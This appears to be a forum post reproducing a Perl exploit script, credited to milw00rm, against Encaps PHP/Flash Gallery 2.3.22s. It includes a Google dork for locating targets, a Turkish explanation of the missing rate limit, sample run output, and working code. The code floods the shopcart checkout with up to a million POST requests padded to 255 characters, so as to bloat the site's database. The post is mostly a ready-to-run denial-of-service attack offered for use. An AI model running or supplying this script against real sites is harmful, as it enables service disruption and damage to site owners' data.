Hi guys,

#ref: http://www.milw00rm.com/exploits/5179

#!/usr/bin/perl -w
#Title : Encaps PHP/Flash Gallery 2.3.22s Database Puffing Up Exploit
#Vendor : http://www.encaps.net
#Download : http://sourceforge.net/projects/encapsnet/files/
#Author : ZoRLu / [email protected]
#Website : milw00rm.com / milw00rm.net / milw00rm.org
#Twitter : https://twitter.com/milw00rm or @milw00rm
#Test : Windows7 Ultimate
#Date : 19/12/2014
#Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
#BkiAdam : Dr.Ly0n, KnocKout, LifeSteaLeR, Nicx (harf sirali :)) )
#Dork : intext:"encaps php gallery"
#Note : must be shopcart is enable
#Desciption : its be Turkish because i dont know very well speak english
#Script uzerinden begendiginiz herhangi bir urunu siparis ederken (mesela: http://server/path/shopcart.php?action=add&item_id=1)
#sizlerden isim, e-posta ve adres bilgileri isteniyor. Bu bilgilerin kontrolu ise (http://server/path/admin/shopcart.php)
#linki uzerinden yapilmakta yani girdiginiz her turlu veri burada kayit altina aliniyor haliyle veritabanina yaziliyor ve bu islem
#yapilirken kod filtreleme disinda hic bir veri giris kontrolu yapilmiyor. Evet item_name, address_name vb. parametreler icin karakter
#sinirlamasi yapilmis fakat bu verilerin ardarda gonderilmesini engelleyen herhangi bir uygulama soz konusu degil, istedigimiz kadar
#veriyi araliksiz gonderip veritabanina buyuk bir yukleme yapabiliyoruz haliyle veritabanini sisiriyoruz yani database puffing up

#perl encaps.pl

#Usage: perl encaps.pl http://server /script_path/
#Exam1: perl encaps.pl http://server /test/
#Exam2: perl encaps.pl http://server /

#perl encaps.pl http://server /test/
#[+] Sending: 1
#[+] Sending: 2
#[+] Sending: 3
#[+] Sending: 4
#[+] Sending: 5
#[+] Sending: 6
#[+] Sending: 7
#[+] Sending: 8
#[+] Sending: 9
#[+] Sending: 10
#[+] Sending: 11
#Terminating on signal SIGINT(2) (i stopped exploit for stop ctrl+c please)
#You can look here for your send: http://server/test/admin/shopcart.php

use HTTP::Request::Common qw( POST );
use LWP::UserAgent;
use IO::Socket;
use strict;
use warnings;

sub hlp() {

system(($^O eq 'MSWin32') ? 'cls' : 'clear');
print "\nUsage: perl $0 http://server /script_path/ \n";
print "Exam1: perl $0 http://server /test/ \n";
print "Exam2: perl $0 http://server / \n";

}

if(@ARGV != 2) {

hlp();
exit();

}

my $ua = LWP::UserAgent->new;
my $url = $ARGV[0];
my $path = $ARGV[1];
my $puffing = $url.$path."shopcart.php?action=add";
my $address = "A" x 255; #its limit =\ its for
my $itemname = "A" x 255; #its limit =/ more loading at database

my $req = POST $puffing, [
payer_business_name => 'TestName', #for loading its a little
payer_email => '[email protected]', #for loading its a little
address_name => $address, #its 255 character for more loading
item_number1 => '1', #its item number not null
item_name1 => $itemname, #its 255 character for more loading
amount1 => '', #its maybe null because limit a little
quantity1 => '', #its maybe null because limit a little
mc_gross_1 => '', #its maybe null because limit a little
num_cart_items => '1', #its not null
action => 'checkout_submit', #its action and not null
];

my $resp = $ua->request($req);
unless ($resp->is_success) {

print "[-] HTTP POST error code: ", $resp->code, "\n";
    print "[-] HTTP POST error message: ", $resp->message, "\n";

     }

else {

my $resp = $ua->request($req);
    my $message = $resp->decoded_content;
my $regex = "Thank you for your interest, we will contact you soon.";
unless ($message =~ /$regex/) {
print "[-] Exploit Failed\n";
     }

     else {

     for (my $i=1; $i<=1000000; $i++) {

     my $resp = $ua->request($req);
     print "[+] Sending: $i\n";

     }


     }

}